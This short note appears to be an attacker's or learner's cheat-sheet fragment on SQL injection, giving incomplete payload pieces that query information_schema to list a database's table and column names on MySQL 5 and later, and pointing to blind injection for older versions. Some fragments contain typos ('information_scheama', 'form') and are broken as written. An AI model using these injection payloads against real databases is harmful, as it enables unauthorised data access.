#if version SQL >=5 : try exploit with table system:  

___table_name from information_scheama.tables where table_schema=database()--  

___column_name form information_schema.columns where table_name=Char(name table)  

#if version SQL <5: try exploit with blind SQL, blind table_name and column_name
